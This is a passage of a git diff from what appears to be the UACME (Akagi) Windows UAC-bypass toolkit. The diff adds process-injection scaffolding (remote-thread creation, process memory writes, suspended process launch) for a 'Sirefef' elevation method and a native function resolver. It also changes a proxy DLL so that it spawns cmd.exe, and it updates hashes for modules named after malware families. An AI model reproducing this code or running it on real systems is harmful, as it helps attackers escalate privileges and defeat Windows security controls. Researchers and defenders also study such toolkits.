lpProcessAttributes, + _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, + _In_ BOOL bInheritHandles, + _In_ DWORD dwCreationFlags, + _In_opt_ LPVOID lpEnvironment, + _In_opt_ LPCWSTR lpCurrentDirectory, + _In_ LPSTARTUPINFOW lpStartupInfo, + _Out_ LPPROCESS_INFORMATION lpProcessInformation + ); + +typedef BOOL(WINAPI *pfnWriteProcessMemory)( + _In_ HANDLE hProcess, + _In_ LPVOID lpBaseAddress, + _In_reads_bytes_(nSize) LPCVOID lpBuffer, + _In_ SIZE_T nSize, + _Out_opt_ SIZE_T * lpNumberOfBytesWritten + ); + +typedef HANDLE(NTAPI *pfnRunProcessEx)( + _In_ LPWSTR lpszParameters, + _In_opt_ LPWSTR lpCurrentDirectory, + _Out_opt_ HANDLE *PrimaryThread, + _Inout_opt_ LPWSTR lpApplicationName + ); + + +typedef struct _ZA_CONTROL_CONTEXT { + + //encoded pointers + pfnSfCopyFileElevated SfCopyFile; + + pfnNtAllocateVirtualMemory pNtAllocateVirtualMemory; + pfnNtClose pNtClose; + pfnNtTerminateProcess pNtTerminateProcess; + + pfnCopyFileW pCopyFileW; + pfnCreateRemoteThread pCreateRemoteThread; + pfnWaitForSingleObject pWaitForSingleObject; + pfnCreateProcessW pCreateProcess; + pfnWriteProcessMemory pWriteProcessMemory; + + LPVOID ElevatedProcedure; + pfnRunProcessEx RunProcessEx; + + //parameters + ELOAD_PARAMETERS_SIREFEF *ElevatedParameters; + + //data buffers + WCHAR szBuffer[MAX_PATH * 2]; + WCHAR szDest[MAX_PATH * 2]; + WCHAR szSource[MAX_PATH * 2]; + +} ZA_CONTROL_CONTEXT, *PZA_CONTROL_CONTEXT; diff --git a/Source/Akagi/sup.c b/Source/Akagi/sup.c index 09fe4a7..c5ae371 100644 --- a/Source/Akagi/sup.c +++ b/Source/Akagi/sup.c @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2015 - 2016 +* (C) COPYRIGHT AUTHORS, 2015 - 2017 * * TITLE: SUP.C * -* VERSION: 2.50 +* VERSION: 2.53 * -* DATE: 06 July 2016 +* DATE: 18 Jan 2017 * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -163,10 +163,11 @@ BOOL supRunProcess( * Start new process in suspended state. * */ -HANDLE supRunProcessEx( +HANDLE NTAPI supRunProcessEx( _In_ LPWSTR lpszParameters, _In_opt_ LPWSTR lpCurrentDirectory, - _Out_opt_ HANDLE *PrimaryThread + _Out_opt_ HANDLE *PrimaryThread, + _Inout_opt_ LPWSTR lpApplicationName ) { BOOL cond = FALSE; @@ -174,7 +175,8 @@ HANDLE supRunProcessEx( SIZE_T ccb; STARTUPINFOW sti1; PROCESS_INFORMATION pi1; - + DWORD dwFlags = CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS; + if (PrimaryThread) { *PrimaryThread = NULL; } @@ -182,7 +184,7 @@ HANDLE supRunProcessEx( if (lpszParameters == NULL) { return NULL; } - + ccb = (_strlen_w(lpszParameters) * sizeof(WCHAR)) + sizeof(WCHAR); pszBuffer = HeapAlloc(g_ctx.Peb->ProcessHeap, HEAP_ZERO_MEMORY, ccb); if (pszBuffer == NULL) { @@ -194,11 +196,10 @@ HANDLE supRunProcessEx( RtlSecureZeroMemory(&pi1, sizeof(pi1)); RtlSecureZeroMemory(&sti1, sizeof(sti1)); GetStartupInfoW(&sti1); - + do { - if (!CreateProcessW(NULL, pszBuffer, NULL, NULL, FALSE, - CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED, + if (!CreateProcessAsUser(NULL, lpApplicationName, pszBuffer, NULL, NULL, FALSE, dwFlags | CREATE_SUSPENDED, NULL, lpCurrentDirectory, &sti1, &pi1)) { break; @@ -213,7 +214,7 @@ HANDLE supRunProcessEx( } while (cond); HeapFree(g_ctx.Peb->ProcessHeap, 0, pszBuffer); - + return pi1.hProcess; } @@ -724,3 +725,32 @@ VOID NTAPI sxsFindDllCallback( *StopEnumeration = bFound; } + +/* +* supNativeGetProcAddress +* +* Purpose: +* +* Simplified native GetProcAddress. +* +*/ +PVOID supNativeGetProcAddress( + WCHAR *Module, + CHAR *Routine +) +{ + PVOID DllImageBase = NULL, ProcedureAddress = NULL; + UNICODE_STRING DllName; + ANSI_STRING str; + + RtlSecureZeroMemory(&DllName, sizeof(DllName)); + RtlInitUnicodeString(&DllName, Module); + if (!NT_SUCCESS(LdrGetDllHandle(NULL, NULL, &DllName, &DllImageBase))) + return NULL; + + RtlInitString(&str, Routine); + if (!NT_SUCCESS(LdrGetProcedureAddress(DllImageBase, &str, 0, &ProcedureAddress))) + return NULL; + + return ProcedureAddress; +} diff --git a/Source/Akagi/sup.h b/Source/Akagi/sup.h index da377fa..b765c23 100644 --- a/Source/Akagi/sup.h +++ b/Source/Akagi/sup.h @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2014 - 2016 +* (C) COPYRIGHT AUTHORS, 2014 - 2017 * * TITLE: SUP.H * -* VERSION: 2.50 +* VERSION: 2.53 * -* DATE: 07 July 2016 +* DATE: 18 Jan 2017 * * Common header file for the program support routines. * @@ -45,10 +45,11 @@ BOOL supRunProcess( _In_opt_ LPWSTR lpszParameters ); -HANDLE supRunProcessEx( +HANDLE NTAPI supRunProcessEx( _In_ LPWSTR lpszParameters, _In_opt_ LPWSTR lpCurrentDirectory, - _Out_opt_ HANDLE *PrimaryThread + _Out_opt_ HANDLE *PrimaryThread, + _Inout_opt_ LPWSTR lpApplicationName ); void supCopyMemory( @@ -112,4 +113,9 @@ VOID NTAPI sxsFindDllCallback( _In_ OUT BOOLEAN *StopEnumeration ); +PVOID supNativeGetProcAddress( + WCHAR *Module, + CHAR *Routine + ); + #define PathFileExists(lpszPath) (GetFileAttributes(lpszPath) != (DWORD)-1) diff --git a/Source/Akagi/uacme.vcxproj b/Source/Akagi/uacme.vcxproj index 149a641..8258f1d 100644 --- a/Source/Akagi/uacme.vcxproj +++ b/Source/Akagi/uacme.vcxproj @@ -241,6 +241,7 @@ + @@ -259,6 +260,7 @@ + @@ -267,6 +269,7 @@ + diff --git a/Source/Akagi/uacme.vcxproj.filters b/Source/Akagi/uacme.vcxproj.filters index 9cd8b20..c98db52 100644 --- a/Source/Akagi/uacme.vcxproj.filters +++ b/Source/Akagi/uacme.vcxproj.filters @@ -90,6 +90,9 @@ Source Files + + Source Files + @@ -143,6 +146,12 @@ Header Files + + Header Files + + + Header Files + diff --git a/Source/Akagi/uacme.vcxproj.user b/Source/Akagi/uacme.vcxproj.user index 91181ba..122d605 100644 --- a/Source/Akagi/uacme.vcxproj.user +++ b/Source/Akagi/uacme.vcxproj.user @@ -13,7 +13,7 @@ WindowsLocalDebugger - 24 + 25 WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Fubuki/dllmain.c b/Source/Fubuki/dllmain.c index c63e178..aab3d6a 100644 --- a/Source/Fubuki/dllmain.c +++ b/Source/Fubuki/dllmain.c @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2014 - 2016 +* (C) COPYRIGHT AUTHORS, 2014 - 2017 * * TITLE: DLLMAIN.C * -* VERSION: 2.51 +* VERSION: 2.53 * -* DATE: 10 July 2016 +* DATE: 18 Jan 2017 * * Proxy dll entry point, Fubuki Kai Ni. * @@ -258,7 +258,7 @@ BOOL WINAPI DllMain( _strcpy(cmdbuf, sysdir); _strcat(cmdbuf, TEXT("cmd.exe")); - if (CreateProcessW(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, + if (CreateProcessAsUserW(NULL, cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, sysdir, &startupInfo, &processInfo)) { CloseHandle(processInfo.hProcess); diff --git a/Source/Fubuki/version.rc b/Source/Fubuki/version.rc index 9cd545495fc09518a9e1fe23036b0f6cc7e7384e..e099b54286d73cb631fa18a8a58d260385abda9f 100644 GIT binary patch delta 59 zcmeyO@kL{U4mYFmWL<7UM&r%#+>e=9jT!V93?>`$>rO7=Tg7O;S)N~=5iTe`xkNx{ Iaftv60PM03@Bjb+ delta 59 zcmeyO@kL{U4mYFWWL<7UM#IhV+>e=94H@(p3?>`$>rO7=Tg7O$S)N~=5iTe`xkNx{ Iaftv60PAcH=Kufz diff --git a/Source/Shared/ntos.h b/Source/Shared/ntos.h index 464e083..74352dd 100644 --- a/Source/Shared/ntos.h +++ b/Source/Shared/ntos.h @@ -4647,7 +4647,6 @@ VOID NTAPI RtlSetLastWin32Error( LONG Win32Error ); - NTSTATUS NTAPI RtlWow64EnableFsRedirection( _In_ BOOLEAN Wow64FsEnableRedirection ); @@ -4657,6 +4656,14 @@ NTSTATUS NTAPI RtlWow64EnableFsRedirectionEx( _Out_ PVOID *OldFsRedirectionLevel ); +PVOID NTAPI RtlEncodePointer( + PVOID Ptr + ); + +PVOID NTAPI RtlDecodePointer( + PVOID Ptr + ); + typedef NTSTATUS (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( IN PVOID Base, diff --git a/UACME.sha256 b/UACME.sha256 index a2a910e..35d846c 100644 --- a/UACME.sha256 +++ b/UACME.sha256 @@ -1,5 +1,5 @@ -d7f2d1ddb7807be1c1f8d8ceb770e9e5ddca2ad638541065e07073d438369660 *Compiled\Akagi32.exe -82bf545c9af11bdb4ece39f837d168cee56c45f3c3544338fe31189eebb243d1 *Compiled\Akagi64.exe +2c3639e512a4726e3a7d6a82a23db8dda079482584bc4987b66efe45a652981e *Compiled\Akagi32.exe +4a90948c7ac0c09d7340f5cfb0801285fe5ca4d2ed713c5e82b2799bb80feea1 *Compiled\Akagi64.exe 098e6b9ca3c24b8d3dc8c2eb1a8ed8a07ca7248de1395e0ab4b515ff55a6eae4 *Source\uacme.sln 8172069709954a5616b75306e565cbc5cd5baada00c15cba084420e61bebcdaf *Source\Akagi\akagi.ico 02238b1720b8514de36ae80fa3d07c377d22e6befe99a7b87d4da9d60d23be02 *Source\Akagi\akagi.manifest @@ -10,33 +10,36 @@ a482ae2d4e1d0a8a1fe69e70c616800cc4cdab41d77bcbf3f391911eb8f3f44d *Source\Akagi\b e087dfb09004d72749ffa94e016860683a7c20f147346e1acf0f561da400e9f1 *Source\Akagi\bin64res.rc 31561a29aeef347b9eb2d763dd13ec5efbf524309ae3e73009e916d5a298213e *Source\Akagi\carberp.c 35ed70e08dc96bedc4d332edb36799fcee7fe8b743bce7b43a363aacfdb8dc78 *Source\Akagi\carberp.h -cc0428d23de17fe3987f16c80bf958a1365db34b3a9121ebc622b76ca6decbfc *Source\Akagi\comet.c +3163a5938ab4f15082f0960e30f39d29bd5a120e692134db8a7da2ea6c6b1978 *Source\Akagi\comet.c ba15ec03e68f87b0e1b86ff826b1b42886aac497d0bc7aca8753e5d3ffdb1693 *Source\Akagi\comet.h fce0f9f17b98675ea322c9f1729c73c56467fbb68335e86417517e6fd549f630 *Source\Akagi\compress.c be3ecc4805c0c88ef53364c54448b13d19ddd1a31562602dbdca2457237a9e81 *Source\Akagi\compress.h -117b7a1fc984f75cafc6a9613703ef920018f1188ac241aa609dc70f71c0d208 *Source\Akagi\consts.h -3f7d65507e3c26e9bc01b67b6f305a15337d3f34114a41d1c0c387fc857f8c08 *Source\Akagi\global.h +6b91a330d0364f46649103359ac5b5151bfce528e071bf359f2d70fb1fed7120 *Source\Akagi\consts.h +12ab1a9c817e811b9bc717bd0d97a7c4ccd1fcf1aff3286f8678b469c1f705f5 *Source\Akagi\enigma0x3.c +68ca3022e53c0cd73faf2e6f890ff3442c6026145d6443d435ff515baa89a894 *Source\Akagi\enigma0x3.h +4fb5fb9ea92bb1126bc2c4a9182a92563f35154b159d0760b7448952e6b5e135 *Source\Akagi\global.h 5d17ed805de8f280c2430e3deb20acd4fa1dc8e43560773186707974cbf3a9eb *Source\Akagi\gootkit.c c37113f14c181533280441de1199cc511c7b35a42ceea3b9c0e671da7140d6fa *Source\Akagi\gootkit.h -46ca3d450773a8b39fc5caccdeabbad1bf7cef0a1694bd94284ca75c02085b38 *Source\Akagi\hybrids.c +8761ed178e2a91e89bc1421a903f82f10364bbb598fa519178a4f324b6b97f65 *Source\Akagi\hybrids.c 81f2108849fb85fbd2e8ee6b2ea35fe383446bdd218d3ed628c75f17352afabd *Source\Akagi\hybrids.h -4d07f686c54d03cb592a03ac22b03e6012c218e8b771d45afe667fbcad92cf43 *Source\Akagi\main.c +a6490b6febfd183dcfd66aa9f01bfdc5d545e40a92f33aed2947a0dc2a503eb9 *Source\Akagi\main.c dab08cd614d03456a3310ca1e6d7718028d45fedd88c2b516f67d2655238e0d0 *Source\Akagi\makecab.c 67a5f4f8d7aee49d7c1e029ddf50520d56f6081917a2cc2904764336857382a0 *Source\Akagi\makecab.h d2e73e697dc427dadf0902fa3b18a71dbb1e482ab57daf9c1bb4051bff717fba *Source\Akagi\manifest.h 7e3ce9159f8d80775c476bfe1e3eaed960cd0053c569ec44791936ae2546301b *Source\Akagi\pitou.c 7f8aec0ef71310198ba697c1acc8bdeff64279b039b82c6761f110bbd92e6dfb *Source\Akagi\pitou.h c90cec4c10cde815fd286d83601b4cd3738097e8e0b2e592dc28c1325c12918d *Source\Akagi\resource.h -dc8f2a3c2bfffb5b88cbfc8ca0d99e38a44d1343ee15013858b99022c6ff2d75 *Source\Akagi\Resource.rc +bfec6d928158f2f4d8de2f9b509dd6e46a0b6993db64ceb2734ed848e8f48314 *Source\Akagi\Resource.rc d84490cd98b484bb0e8af241df7500efef502525ec7249aa6a5b6f850e2bac77 *Source\Akagi\simda.c 9d25bcd377d6bc86332ac613cd99362c9881302d403a3e4e1e8c93a266982b32 *Source\Akagi\simda.h -7e2bee1be67d96edca66ea19aac60896b97449af72da653206102930ae676aca *Source\Akagi\sup.c -ee7b5b03ff6401b82fae2eb453603cbb7a39d81d1bca1d0cb835e92baaaf4c2d *Source\Akagi\sup.h -472953271f598efcd79e4a741df77188c60bfb3b2867cb7465fa068e387362a9 *Source\Akagi\uacme.vcxproj -c6986aecdf474a9ac568fd122956a016c2583156448627c1c9f60d7b08d5f306 *Source\Akagi\uacme.vcxproj.filters -69ef84d851e52fa90e78232720740a13addb67a3a72936bf159559db05085cbe *Source\Akagi\uacme.vcxproj.user -a848ec296f79f6eca82202e1ebf95d69da8ab16cfa336418ce9a9e36fe81ae0c *Source\Akagi\bin\Fubuki32.cd -0cb9aff9b689c6ffb1b0f307caec4a3b67dbd459a610dcca72cd9be70a4b6094 *Source\Akagi\bin\Fubuki64.cd +41af5a0b6ae9d510689410c183cb30537ec30084a32620d5734675ff780bdf5c *Source\Akagi\sirefef.h +a1b963ca686e4b595ae23ca18296e5f2b8190f5a7feece7faba8c0be4fe26acc *Source\Akagi\sup.c +247b69ae74d383d57c33a9db45ed18f436e0db9e918e0c8216267a1b91488cec *Source\Akagi\sup.h +f822ad0e3793d6da0823af18df42d36855f957303a86b9600b9f3051f03a6156 *Source\Akagi\uacme.vcxproj +00e5a7fa7a42ee0a196f9f8391dd32afae69cc6d6aa9d573ef3a2c32b82ba495 *Source\Akagi\uacme.vcxproj.filters +fc119d09e357972a5b3f5914510d126b8563efb741bea05c21104d9b15c3006b *Source\Akagi\uacme.vcxproj.user +087f64ac18b054724e683d0ef92a885e19a8e1fe43405d71144ac9692b58e21a *Source\Akagi\bin\Fubuki32.cd +dd5c530a8c5a7d80ed541cafa566ed2af664bac6ea558fbe0773378ecc837e85 *Source\Akagi\bin\Fubuki64.cd 0617a97e15c312915fedfc5f2eebfc2d417cfbd667896bcf9d33846334ae98a4 *Source\Akagi\bin\Hibiki32.cd 65ccadb5660c32cd9bfb6d27673b8ccea966ce383881b0fa71b260922c773fc6 *Source\Akagi\bin\Hibiki64.cd b062e2be5a17984dce931536ba80785bd95d8dc9a1bfc21c0b22315712f4bca7 *Source\Akagi\bin\Ikazuchi32.cd @@ -46,11 +49,11 @@ c650a5448056d708d21799617246ee47f9569afa5415e78f9be07d85055ead46 *Source\Akagi\b 28cc1e0994cc8fb7d87cc13d7bbc800480ddd1f5242f5050ff06e8d9d9767048 *Source\Fubuki\dll.vcxproj d26d437c4410b29f2b428fde9f7a029b5c94429b7aa99f430b629479783e623f *Source\Fubuki\dll.vcxproj.filters cb5688faa7cfe99a609ecdb7131f218628dbe34b8fb39ba83a2328227bc63179 *Source\Fubuki\dll.vcxproj.user -e7b65c57289e2669ac50996a89a224b529d0b77cca75b55d274d0454449604cd *Source\Fubuki\dllmain.c +57aa4133d0328d2a44825ff4d8804f52518fdea6e83d9cca7b60c3777324be85 *Source\Fubuki\dllmain.c c424f02f0764802d4097e5bc8217f6cb777da82e1bc15f6c4d5e7a00174c2483 *Source\Fubuki\export.def 4006ba7005ca2873a5acbd2755ba1965e62bf0bd8783882f874bea2c80d45e1d *Source\Fubuki\resource.h a2b59d06ad6f6af9ac19b5b15c987c246eb059eade447b63c3113646c6ef52a0 *Source\Fubuki\unbcl.h -dea152900c30bda730ba68cccacb95ff73e36b6cdd87551f980d28c353a104a0 *Source\Fubuki\version.rc +b356eba53196c805864e2ac2fd5a4b38984a377698320c34dc70484de61f2adb *Source\Fubuki\version.rc eccff5e3d98818d8ea5393d86379985c8eee5b0ac44d06e1c8b52b29d96cf066 *Source\Fubuki\wbemcomn.h 7b5106df39693d85f43060cdc45b9405c7db3b9995f1fc8482bf602d33843dbf *Source\Hibiki\dllmain.c 769a7bccff14fec330c1d36704fc0c4060c2700a3f53f4a6148cbe90bb796ca5 *Source\Hibiki\Hibiki.vcxproj @@ -77,7 +80,7 @@ abd562aa6b8721caf958b4f87b67787a82ab81b64df21c46df01f67891c37ce7 *Source\Naka\Na 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *Source\Shared\cmdline.c bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *Source\Shared\cmdline.h 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *Source\Shared\minirtl.h -0eee79ee4fa4692222fc647159ac532dc2019f568160ca4c9fed9de9cc39b593 *Source\Shared\ntos.h +4d545749c75f9d3aa7502b7056956912488feede3f5879178a91a9c32a2df0ab *Source\Shared\ntos.h b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *Source\Shared\rtltypes.h c0dd0e6d2f4b23a97b6cabb9822b87adb6ae8723ee3e65831809e549b7efcb9a *Source\Shared\strtoul.c 9cbedf9b92abaef3ea28de28dd523ac44079592178ef727c7003c339a5a54712 *Source\Shared\ultostr.c